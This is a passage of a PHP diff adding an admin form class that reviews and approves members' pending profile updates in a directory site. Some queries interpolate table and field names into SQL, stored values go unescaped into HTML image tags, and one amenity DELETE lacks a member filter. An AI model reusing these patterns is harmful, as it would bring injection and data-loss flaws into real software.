+                               //      we need to alter the labels of the text fields.
+                               //      Otherwise we could potentially have multiple [To] or [From]
+                               //      fields and no way to discern which meal they represent.
+                               if ($u['db_table'] == 'member_restaurants') {
+                                       if ($u['data_type'] == 'text') {
+                                               $u['label'] = ucwords(str_replace('_', ' ', $u['field']));
+                                       }
+                               }
+                               if ($u['db_table'] == 'member' && $u['field'] == 'logo') {
+                                       $u['label'] = '<div class="pendingLogo">
+                                               <img alt="'.$u['update'].'"
+                                               src="'.MEMBER_PHOTOS.$u['update'].'">Logo</div>';
+                               }
+                               if ($u['db_table'] == 'member_packages' && $u['field'] == 'image') {
+                                       unset($type, $opts);
+                               }
+                               if (!isset($type)) {
+                                       $type = 'static';
+                               }
+                               $labels[$u['id']][$u['field']]['label']    = $u['label'];
+                               $labels[$u['id']][$u['field']]['db_table'] = $u['db_table'];
+
+                               $fields[$u['id']][$u['field']][] = array('type' => 'static', 'req' => false, 'name' => "{$u['id']}_{$u['field']}_orig");
+                               $fields[$u['id']][$u['field']][] = array('type' => $type, 'req' => false, 'name' => "{$u['id']}_{$u['field']}_update", 'opts' => $opts);
+                       }
+
+                       $elements[] = array('type' => 'header', 'req' => false, 'name' => 'memberInfoHdr',      'display' => 'Updates', 'col1' => true);
+                       foreach ($fields as $rowid => $field) {
+                               foreach ($field as $k => $arr) {
+                                       if ($table != $labels[$rowid][$k]['db_table']) {
+                                               $elements[] = array('type' => 'header', 'req' => false, 'name' => 'table',      'display' => ucwords(str_replace('_', ' ', $labels[$rowid][$k]['db_table'])));
+                                               $table      = $labels[$rowid][$k]['db_table'];
+                                       }
+                                       $elements[] = array('type' => 'group',  'req' => false, 'name' => "{$rowid}_{$k}", 'group' => $field[$k],       'label' => $labels[$rowid][$k]['label'], 'seperator' => '&nbsp;', 'appendName' => false);
+                               }
+                       }
+               }
+
+               $this->setupElements($elements);
+
+
+               if (!empty($elementsToFreeze)) {
+                       foreach ($elementsToFreeze as $k => $v) {
+                               $eName = "{$k}_{$v}";
+                               if ($this->elementExists($eName)) {
+                                       $e =& $this->getElement($eName);
+                                       if (PEAR::isError($e)) {
+                                               return Toolkit_Common::handleError($e);
+                                       } else {
+                                               $e->freeze();
+                                       }
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Setup the filters to apply to the elements before we are
+        * handed the values submitted
+        *
+        * @return void
+        * @access public
+        */
+       public function configureFilters()
+       {
+               $filters[] = array('element' => '__ALL__', 'filter' => 'trim');
+
+               $this->setupFilters($filters);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Wrapper function to handle setting up the form
+     *
+     * @return mixed PEAR error if no member id is set, otherwise true
+     * @access public
+     */
+    public function configureForm()
+    {
+        if (!is_numeric($this->_mid)) {
+            return PEAR::raiseError('Invalid member id');
+        }
+
+        $this->configureElements();
+        $this->configureFilters();
+        //$this->configureRules();
+        $this->configureDefaults();
+
+        return true;
+    }
+
+    //  }}}
+       //      {{{ configureModules()
+
+       /**
+        * Turns on a modules if the member has the appropriate category
+        *
+        * @return void
+        * @access protected
+        */
+       protected function configureModules()
+       {
+               if (is_array($this->memberCategories)) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($this->memberCategories as $cid => $v) {
+                                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                                       if ($row['accommodations'] == 't') {
+                                               $this->accommodations = true;
+                                       }
+                                       if ($row['restaurant'] == 't') {
+                                               $this->restaurant = true;
+                                       }
+                                       if ($row['golf'] == 't') {
+                                               $this->golf = true;
+                                       }
+                               }
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               //      Define the rules for each element in the group.
+               $num_rule = array('ERROR: Must contain a valid positive or negative decimal number!', 'numeric');
+               //      Collect together the rules for each element.
+               $lat_rules = array('lat' => array($num_rule));
+               $lon_rules = array('lon' => array($num_rule));
+
+               $rules[] = array('element' => 'reservation_id', 'message' => 'ERROR: Must be an integer!',      'type' => 'numeric', 'format' => null, 'validation' => $this->validationType, 'reset' => false, 'force' => false);
+               $rules[] = array('element' => 'num_rooms',              'message' => 'ERROR: Must be an integer!',      'type' => 'numeric', 'format' => null, 'validation' => $this->validationType, 'reset' => false, 'force' => false);
+               $rules[] = array('element' => 'latitude',               'message' => 'ERROR:',  'type' => 'group', 'format' => $lat_rules, 'validation' => $this->validationType, 'reset' => false,     'force' => false);
+               $rules[] = array('element' => 'longitude',              'message' => 'ERROR:',  'type' => 'group', 'format' => $lon_rules, 'validation' => $this->validationType, 'reset' => false,     'force' => false);
+               $rules[] = array('element' => 'member_name',    'message' => 'ERROR: Name Already used!',       'type' => 'callback', 'format' => array($this, 'checkMemberName'), 'validation' => $this->validationType, 'reset' => false,     'force' => false);
+               $rules[] = array('element' => 'member_login',   'message' => 'ERROR: Already used, Please choose another!',     'type' => 'callback', 'format' => array($this, 'checkUName'), 'validation' => $this->validationType, 'reset' => false,  'force' => false);
+               $rules[] = array('element' => 'zip',                    'message' => 'ERROR: Invalid Zip Code!',        'type' => 'zip', 'format' => array('requireDBCheck' => false), 'validation' => $this->validationType, 'reset' => false, 'force' => false);
+               $rules[] = array('element' => 'phone',                  'message' => 'ERROR: Invalid Phone Number!','type' => 'phone', 'format' => null, 'validation' => $this->validationType, 'reset' => false,       'force' => false);
+               $rules[] = array('element' => 'fax',                    'message' => 'ERROR: Invalid Phone Number!','type' => 'phone', 'format' => null, 'validation' => $this->validationType, 'reset' => false,       'force' => false);
+
+               $this->setupRules($rules);
+       }
+
+       //      }}}
+
+       //      {{{     getMultipleFieldUpdates()
+       
+       /**
+        * Gets the current values for multiple fields of members
+        *
+        * Multiple fields are ones that a member can have many of.  They idealy
+        * need a foreign key, but it is impossible to set up dynamic foreign keys.
+        * examples of these fields are photo captions or file name, or newly added
+        * files.  Since a member can have multiple of these fields pending at the
+        * same time, we need to figure out the original value for the file names,
+        * captions, etc...  of these fields.
+        *
+        * To get these fields, figure out which ones have updates in the updates
+        * table and get corresponding field from the original table. Then use the
+        * psuedo foreign_key to get the corresponding match in the actual table.
+        *
+        * @return array All the original updates made by the member
+        * @access protected
+        * @see    Toolkit_Members_authorizeupdates::getOriginalFieldValues()
+        */
+       protected function getMultipleFieldUpdates()
+       {
+        $tables = array();
+        //     Then we need to get all the tables which DO NOT have DISTINCT
+        //     fields in the updates table.  That means they DO have a
+        //     psuedo foreign_key pointing back to them.  These are going
+        //     to take a little more work to obtain the original values.
+        $sql = "
+            SELECT DISTINCT db_table
+              FROM {$this->tableName}
+             WHERE foreign_key is NOT NULL";
+        foreach ($this->dbh->query($sql) as $row) {
+            $tables[] = $row['db_table'];
+        }
+
+        if (empty($tables)) {
+            return $tables;
+        }
+
+               //      This query will get all the fields that we need to get
+               //      from the original table.
+               $sql = "
+            SELECT *
+              FROM {$this->tableName}
+             WHERE id in (
+                                       SELECT max(id)
+                                         FROM {$this->tableName}
+                                        WHERE db_table  = :db_table
+                                          AND member_id = :member_id
+                                        GROUP BY field, foreign_key)";
+
+               $getFieldStmt = $this->dbh->prepare($sql);
+               $getFieldStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+
+        $defaults = array();
+               foreach ($tables as $t) {
+                       $getFieldStmt->bindParam(':db_table', $t, PDO::PARAM_STR);
+                       $getFieldStmt->execute();
+
+                       //      This query will get the current value that the member
+                       //      has stored in the DB for the field we want.
+                       $sql = "
+                SELECT %s
+                  FROM $t
+                 WHERE id = %d";
+
+                       while ($row = $getFieldStmt->fetch()) {
+                               if ($row['data_type'] == 'text') {
+                                       $newSql  = sprintf($sql, $row['field'], $row['foreign_key']);
+                                       $current
+                        = $this->dbh->query($newSql)->fetch();
+                                       if (empty($current[$row['field']])) {
+                                               $current[$row['field']] = 'Did not previously exist.';
+                                       } elseif ($t == 'member_packages') {
+                                               if ($row['field'] == 'image') {
+                                                       $current[$row['field']]
+                                = '<div class="oldPackageImage">Old
+                                                               <img class="oldPackageImage"
+                                                                       alt="'.$current[$row['field']].'"
+                                                                       src="'.MEMBER_PHOTOS.$current[$row['field']].'">
+                                                               </div>';
+                                               }
+                                       }
+                                       $defaults["{$row['id']}_{$row['field']}_orig"]
+                        = $current[$row['field']];
+                               }
+                       }
+               }
+
+               return $defaults;
+       }
+
+       //      }}}
+       //      {{{     getOriginalFieldValues()
+
+       /**
+        * Gets all the original values for the fields that have pending updates
+        *
+        * @return array of updates for all the fields that the member sent
+        * @access protected
+        */
+       protected function getOriginalFieldValues()
+       {
+               try {
+            $staticUpdates  = $this->getSingleFieldUpdates();
+            $dynamicUpdates = $this->getMultipleFieldUpdates();
+
+                       $defaults = array_merge($staticUpdates, $dynamicUpdates);
+
+                       return $defaults;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     getSingleFieldUpdates()
+       
+       /**
+        * Gets the current values for single fields of members
+        *
+        * Single fields are ones that can only show reference one field from
+        * the updates table to a member. Such as, url, description, num_rooms,
+        * etc...
+        * These field will only come from the member table or any member module
+        * table (golf, restaurant, accommodations).
+        *
+        * To get these fields, figure out which ones have updates in the updates
+        * table and get corresponding field from the original table.
+        *
+        * @return array
+        * @access protected
+        * @see    Toolkit_Members_authorizeupdates::getOriginalFieldValues()
+        */
+       protected function getSingleFieldUpdates()
+       {
+        $tables = array();
+        //     We need to get all the tables which have DISTINCT fields
+        //     in the updates table. That means they do not have a 
+        //     psuedo foreign_key pointing back to them.  These will be
+        //     easier to get the original values for.
+        $sql = "
+            SELECT DISTINCT db_table
+              FROM {$this->tableName}
+             WHERE foreign_key is null";
+        foreach ($this->dbh->query($sql) as $row) {
+            $tables[] = $row['db_table'];
+        }
+
+        if (empty($tables)) {
+            return $tables;
+        }
+
+               //      This query will get all the fields that we need to get
+               //      from the original table.
+               $sql = "
+            SELECT *
+              FROM {$this->tableName}
+             WHERE id in (
+                                       SELECT max(id)
+                                         FROM {$this->tableName}
+                                        WHERE db_table  = :db_table
+                                          AND member_id = :member_id
+                                        GROUP BY field)";
+
+               $getFieldStmt = $this->dbh->prepare($sql);
+               $getFieldStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+
+        $defaults = array();
+        //     We need to get all the tables which have DISTINCT fields
+               foreach ($tables as &$t) {
+                       $getFieldStmt->bindParam(':db_table', $t, PDO::PARAM_STR);
+                       $getFieldStmt->execute();
+
+                       //      This query will get the current value that the member
+                       //      has stored in the DB for the field we want.
+                       $sql = "
+                SELECT %s
+                  FROM $t
+                 WHERE member_id = {$this->_mid}";
+
+                       while ($row = $getFieldStmt->fetch()) {
+                               if ($row['data_type'] == 'text') {
+                                       $newSql  = sprintf($sql, $row['field']);
+                                       $current
+                        = $this->dbh->query($newSql)->fetch();
+
+                                       $defaults["{$row['id']}_{$row['field']}_orig"]
+                        = $current[$row['field']];
+                               }
+                               if ($row['field'] == 'state_id') {
+                                       $locationNames = '
+                                                ,(
+                                               select state_name
+                                                 from state
+                                                where state.state_id = member.state_id) as state_id';
+
+                                       $newSql  = sprintf($sql, $row['field'] . $locationNames);
+                                       $current
+                        = $this->dbh->query($newSql)->fetch();
+
+                                       $defaults["{$row['id']}_{$row['field']}_orig"]
+                        = $current[$row['field']];
+                               }
+                       }
+               }
+
+               return $defaults;
+       }
+
+       //      }}}
+       //      {{{     getUpdateQuery()
+
+    /**
+     * Get the update query for a table in the database
+     * 
+     * @param string $tname    The table name to update in the database
+     * @param array  $accepted All the accepted updates/changes
+        *
+     * @return string The update query to run against the database
+     * @access protected
+     */
+       protected function getUpdateQuery($tname, array $accepted)
+       {
+               $params = array_values($accepted);
+               $length = count($params);
+               for ($i = 0; $i < $length; ++$i) {
+                       $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                       if ($i < ($length - 1)) {
+                               $bindParams .= ', ';
+                       }
+               }
+               $sql = "
+                       UPDATE $tname
+                          SET $bindParams
+                       WHERE member_id = :member_id";
+               return $sql;
+       }
+
+       //      }}}
+       //      {{{     getUpdatedFieldValues()
+
+       /**
+        * Gets all the values for the newest updates
+        *
+        * @return array The updated values
+        * @access protected
+        */
+       protected function getUpdatedFieldValues()
+       {
+               try {
+                       //      Get all the latest updates, When we are dealing w/ the state_id
+                       //      fields, get the state name vs showing the id number.
+                       //      users won't know what the # is.
+                       $sql = "
+                               SELECT *,
+                                  CASE
+                                  WHEN field = 'state_id' THEN (
+                                       SELECT state_name
+                                         FROM state
+                                        WHERE state_id   = CAST(UPDATE AS integer) )
+                                  WHEN field ~* 'creditCards' AND update = '0' THEN 'Removed'
+                                  WHEN field ~* 'creditCards' AND update = '1' THEN 'Added'
+                                  WHEN db_table = 'member_amenity' AND update = '0' THEN 'Removed'
+                                  WHEN db_table = 'member_amenity' AND update = '1' THEN 'Added'
+                                  ELSE UPDATE END AS
+                               UPDATE 
+                                 FROM {$this->tableName}
+                                WHERE id IN (
+                                               SELECT MAX(id)
+                                                 FROM {$this->tableName}
+                                                WHERE member_id = :member_id
+                                                GROUP BY field, foreign_key)
+                               ORDER BY db_table, foreign_key, id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               //      If we are dealing w/ a credit card, this
+                               //      will extract the name of the card.
+                               //      Otherwise, it will leave the value unchanged.
+                               $pattern      = '/creditCards\[(.+)\]/';
+                               $replacement  = '$1';
+                               $row['field'] = preg_replace($pattern, $replacement, $row['field']);
+                               if (empty($row['update'])) {
+                                       if ($row['data_type'] == 'boolean') {
+                                               $row['update'] = 'Off';
+                                       }
+                               } elseif ($row['data_type'] == 'boolean') {
+                                       $row['update'] = 'On';
+                               }
+
+                               //      Handle all the member photos requests
+                               if ($row['db_table'] == 'member_photos') {
+                                       //      The boolean field will only be for the pending status
+                                       //      if the data_type is boolean we know we are dealing
+                                       //      with a newly uploaded image
+                                       if ($row['data_type'] == 'boolean') {
+                                               //      No need to show any instructions for
+                                               //      the accept/reject buttons
+                                               $row['update'] = 'Added';
+                                       }
+                               } 
+                               if ($row['db_table'] == 'member') {
+                                       if ($row['field'] == 'logo') {
+                                               $row['update'] = 'Updated';
+                                       }
+                               }
+                               if ($row['db_table'] == 'member_files') {
+                                       //      if the data_type is boolean we know we are dealing
+                                       //      with a newly uploaded file 
+                                       if ($row['data_type'] == 'boolean') {
+                                               //      No need to show any instructions for
+                                               //      the accept/reject buttons
+                                               $row['update'] = 'Added';
+                                       }
+                               }
+                               if ($row['db_table'] == 'member_packages') {
+                                       if ($row['field_type'] == 'file') {
+                                               $row['update'] = ' <div class="newPackageImage">
+                                                               New
+                                                               <img alt="'.$row['update'].'"
+                                                               class="newPackageImage"
+                                                               src="'.MEMBER_PHOTOS.$row['update'].'"></div>';
+                                       }
+                               }
+                               $defaults["{$row['id']}_{$row['field']}_update"] = $row['update'];
+                       }
+
+                       return $defaults;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     group()
+
+       /**
+        * Gets the group [table name] the field is supposed to be a part of
+        *
+        * @param string $field the name of the field in the db.
+        *
+        * @return string
+        * @access public
+        */
+       public function group($field)
+       {
+               //      The field is going to come in as [id]_[field name]
+               //      so we need to extract the field name from the id.
+               list($id, $field) = explode('_', $field, 2);
+               try {
+                       $sql = "
+                SELECT db_table
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                       return $row['db_table'];
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles processing the submitted forms data.
+        *
+        * Sets up the table meta data so we can insert into the member table.
+        * removes any unwanted fields from the values array.  these fields
+        * will be denoted by the '_rmv' at the end of thier name in the
+        * configureElements function
+        *
+        * <example>
+        * ... 'name' => 'remove_rmv', ...
+        * </example>
+        *
+        * This function also verifies that the lat/lon values were properly filled
+        * out, if they were left blank then the values will either be looked up 
+        * via google maps or through our own zip DB. These values will then be
+        * inserted into the values array AND also injected into the form field
+        * values so they will display when the form comes back around.
+        *
+        * The form then decides if it is handeling a new member or not and calls
+        * the appropriate function to insert or update data.
+        *
+        * @param array $values The array of all submitted form values.
+        *
+        * @return boolean Whether the insert/update succeeded.
+        * @access protected
+        * @see    Toolkit_Members_EditMemberInfo::configureElements()
+        */
+       protected function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       default :
+                               if (preg_match('/^.+_rmv$/', $k)) {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+               $this->updateData($values);
+               $listPage = BASE_URL . "admin/members.php?cat=2&subCat=3";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+    //  {{{ setMember()
+
+    /**
+     * Sets the member id to use for updating
+     *
+     * @param integer $mid Target Member Id
+     *
+     * @return object PEAR Error on invalid member id
+     * @access public
+     */
+    public function setMember($mid)
+    {
+        if (!is_numeric($mid)) {
+            return PEAR::raiseError('Invalid member id');
+        } elseif (!ctype_digit($mid) && !is_int($mid)) {
+            return PEAR::raiseError('Invalid member id string');
+        }
+        $this->_mid = $mid;
+    }
+
+    //  }}}
+       //      {{{ setupRenderers()
+
+    /**
+     * Handles compiling and rendering the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view       = $this;
+               $this->view->form = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+               }
+
+               //      ProcessData handles settingup the lat/lon coordinates if they were
+               //      not     entered into the form.  these values ar calculated and then
+               //      inserted into the forms element values. So we need to process the
+               //      data first and then render the form.
+               $this->setupRenderers();
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{ updateAmenities()
+
+       /**
+        * Handle updating any approvals or rejections on the member amenities
+        *
+        * @param array $amenities The amenity update statuses submitted from the form 
+        *
+        * @return bool True on success, false on error.
+        * @access protected
+        */
+       protected function updateAmenities($amenities)
+       {
+               if (empty($amenities)) {
+                       return true;
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      Stmt to find the newest request in the updates table.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       //      Stmt to add amenity to member.
+                       $sql = "
+                INSERT INTO member_amenity(member_id, amenity_id)
+                VALUES (:member_id, :aid)";
+
+                       $insStmt = $this->dbh->prepare($sql);
+                       $insStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Stmt to remove amenity from member.
+                       $sql = "
+                               DELETE FROM member_amenity
+                                WHERE amenity_id = :aid";
+
+                       $delStmt = $this->dbh->prepare($sql);
+                       //      Remove from updates table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE member_id          = :member_id
+                   AND db_table     = 'member_amenity'
+                   AND field        = :aid";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       $remStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Loop through all the amenities and see if the update was
+                       //      accepted or not.  If it was accepted, get the update
+                       //      row from the updates table and find out if the update
+                       //      was to add [update = 1] the card or remove [update = 0].
+                       //      Perform the update, and then remove the requests from the
+                       //      updates table.
+                       foreach ($amenities as $aid => $accepted) {
+                               list($id, $aid) = explode('_', $aid, 2);
+                               if ($accepted == 'yes') {
+                                       $fetchStmt->bindParam(':id', $id, PDO::PARAM_INT);
+                                       $fetchStmt->execute();
+                                       $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                                       if ($row['update']) {
+                                               //      Remove the the cards from from the db to make
+                                               //      sure we don't try to insert the same card to
+                                               //      a member twice and conflict w/ the unique
+                                               //      constraint on member_id and ccard_id
+                                               $delStmt->bindParam(':aid', $aid, PDO::PARAM_STR);
+                                               $delStmt->execute();
+                                               //      Insert the card as a row into the db.
+                                               $insStmt->bindParam(':aid', $aid, PDO::PARAM_STR);
+                                               $insStmt->execute();
+                                       } else {
+                                               //      Remove the the cards from from the db.
+                                               $delStmt->bindParam(':aid', $aid, PDO::PARAM_STR);
+                                               $delStmt->execute();
+                                       }
+
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':aid', $aid, PDO::PARAM_STR);
+                                       $remStmt->execute();
+                               } else {
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':aid', $aid, PDO::PARAM_STR);
+                                       $remStmt->execute();
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updateCCards()
+
+       /**
+        * Handle updating any approvals or rejections on the member credit cards
+        *
+        * @param array $cards The cards update status submitted from the form
+        *
+        * @return bool True on success, false on error.
+        * @access protected
+        */
+       protected function updateCCards($cards)
+       {
+               if (empty($cards)) {
+                       return true;
+               }
+               foreach ($cards as $k => $v) {
+                       $orig         = $k;
+                       list($id, $k) = explode('_', $k, 2);
+                       $cards[$k]    = $v;
+                       unset($cards[$orig]);
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      Stmt to find the newest request in the updates table.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id in (
+                                               SELECT max(id)
+                                                 FROM {$this->tableName}
+                                                WHERE member_id     = :member_id
+                   AND field   = :field)";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       $fetchStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Stmt to add card to member.
+                       $sql = "
+                               INSERT INTO member_ccard_type (member_id, ccard_type_id)
+                               SELECT :member_id, ccard_type_id
+                                 FROM ccard_type
+                                WHERE ccard_type_name = :name";
+
+                       $insStmt = $this->dbh->prepare($sql);
+                       $insStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Stmt to remove card from member.
+                       $sql = "
+                               DELETE FROM member_ccard_type
+                                WHERE member_id       = :member_id
+                                  AND ccard_type_id in (
+                                               SELECT ccard_type_id
+                                                 FROM ccard_type
+                                WHERE ccard_type_name = :name)";
+
+                       $delStmt = $this->dbh->prepare($sql);
+                       $delStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Remove from updates table.
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE member_id = :member_id
+                                  AND label = :name";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       $remStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      Loop through all the cards and see if the update was
+                       //      accepted or not.  If it was accepted, get the update
+                       //      row from the updates table and find out if the update
+                       //      was to add [update = 1] the card or remove [update = 0].
+                       //      Perform the update, and then remove the requests from the
+                       //      updates table.
+                       foreach ($cards as $card => $accepted) {
+                               if ($accepted == 'yes') {
+                                       $field = "creditCards[$card]";
+                                       $fetchStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                       $fetchStmt->execute();
+                                       $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                                       if ($row['update']) {
+                                               //      Remove the the cards from from the db to make
+                                               //      sure we don't try to insert the same card to
+                                               //      a member twice and conflict w/ the unique
+                                               //      constraint on member_id and ccard_id
+                                               $delStmt->bindParam(':name', $card, PDO::PARAM_STR);
+                                               $delStmt->execute();
+                                               //      Insert the card as a row into the db.
+                                               $insStmt->bindParam(':name', $card, PDO::PARAM_STR);
+                                               $insStmt->execute();
+                                       } else {
+                                               //      Remove the the cards from from the db.
+                                               $delStmt->bindParam(':name', $card, PDO::PARAM_STR);
+                                               $delStmt->execute();
+                                       }
+
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':name', $card, PDO::PARAM_STR);
+                                       $remStmt->execute();
+                               } else {
+                                       //      Remove field from the member_updates table.
+                                       $remStmt->bindParam(':name', $card, PDO::PARAM_STR);
+                                       $remStmt->execute();
+                               }
+                       }
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updateData()
+
+    /**
+     * Handles updating all approvals and rejections of pending updates
+     * 
+     * @param array $values All elements submitted from the form
+        *
+     * @return boolean True on success, false on error
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+               //      Credit Cards are a special case and handled seperately
+               $ccardUpdates   = $values['member_ccard_type'];
+               $amenityUpdates = $values['member_amenity'];
+               $photoUpdates   = $values['member_photos'];
+               $fileUpdates    = $values['member_files'];
+               $packageUpdates = $values['member_packages'];
+               unset ($values['member_ccard_type'],
+                       $values['member_amenity'],
+                       $values['member_files'],
+                       $values['member_photos'],
+                       $values['member_packages']
+               );
+
+               foreach ($values as $k => $v) {
+                       if (!is_array($v)) {
+                               $updates[$k] = $v;
+                               unset($values[$k]);
+                       }
+               }
+               //      The values array should now hold all the submitted updates
+               //      in a grouped format and tell you if the field was approved
+               //      to be updated or not. Fields from each table will be grouped
+               //      together and any text field that "could" be changed by the
+               //      admin to fix typos or errors will be in thier own array.
+               //      These updates will have the same associative array key name
+               //      as thier corresponding field with '_update' appended.
+               //      ie. street => street_update,  url => url_update, etc..
+               //      (values example:)
+               //      Array
+               //      (
+               //              [member] => Array
+               //                      (
+               //                              [street] => yes
+               //                              [url] => no
+               //                              [description] => yes
+               //              )
+               //
+               //              [member_accommodations] => Array
+               //                      (
+               //                      [num_rooms] => yes
+               //                          [year_round] => no
+               //                      )
+               //
+               //          [member_restaurants] => Array
+               //              (
+               //                  [breakfast] => yes
+               //              )
+               //      )
+               //      (updates example:)
+               //      Array
+               //      (
+               //              [street_update] => 139 Dove Cottage Ln
+               //              [url_update] => www.google.com
+               //              [description_update] => test update 8
+               //      )
+
+               try {
+                       //      Remove from updates table.
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE member_id = :member_id
+                                  AND field = :field
+                                  AND db_table = :db_table";
+
+                       $remStmt = $this->dbh->prepare($sql);
+                       $remStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       //      For each of the "rejected" updates, loop through
+                       //      and remove them from the arrays as well as from the
+                       //      updates DB table.
+
+                       //      Tables
+                       foreach ($values as $table => &$fields) {
+                               //      Fields
+                               //      
+                               //      The field key names will come in as
+                               //      [id_fieldName] => yes
+                               //      [id_fieldName] => no
+                               //      The id # is the primary key row id number of the update
+                               //      in the updates table.
+                               //      The fieldName is the name of column that was updated.
+                               foreach ($fields as $k => &$v) {
+                                       if ($v == 'no') {
+                                               list($id, $field) = explode('_', $k, 2);
+                                               $remStmt->bindParam(':field', $field, PDO::PARAM_STR);
+                                               $remStmt->bindParam(':db_table', $table, PDO::PARAM_STR);
+                                               $remStmt->execute();
+                                               unset($fields["{$id}_{$field}"],
+                                                         $updates["{$id}_{$field}_update"]);
+                                       }
+                               }
+                               //      Do some cleanup while we're right here.
+                               //      If all the updates were rejected for a single group,
+                               //      then unset this array, that way we won't waste our time
+                               //      trying to run updates against it later.
+                               if (empty($values[$table])) {
+                                       unset($values[$table]);
+                               }
+                       }
+
+                       foreach ($values as $k => &$v) {
+                               if (!is_array($updates)) {
+                                       $updates = array();
+                               }
+                               $this->commitUpdates($k, array_keys($v), $updates);
+                       }
+                       $this->updatePackages($packageUpdates);
+                       $this->updateCCards($ccardUpdates);
+                       $this->updateAmenities($amenityUpdates);
+                       $this->updatePhotos($photoUpdates);
+                       $this->updateFiles($fileUpdates);
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+               return true;
+       }
+
+       //      }}}
+       //      {{{ updateFiles()
+
+       /**
+        * Handle updating any approvals or rejections on the member files 
+        *
+        * @param array $files an array of file updates and their update status
+        *
+        * @return bool True on success, false on error.
+        * @access protected
+        */
+       protected function updateFiles($files)
+       {
+               if (empty($files)) {
+                       return true;
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      Stmt to find the newest request in the updates table for
+                       //      a specific field.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       //      Stmt to update the file
+                       $updateSql = "
+                UPDATE member_files
+                   SET %s = :update
+                 WHERE id      = :id";
+                       //      Stmt to remove file from member.
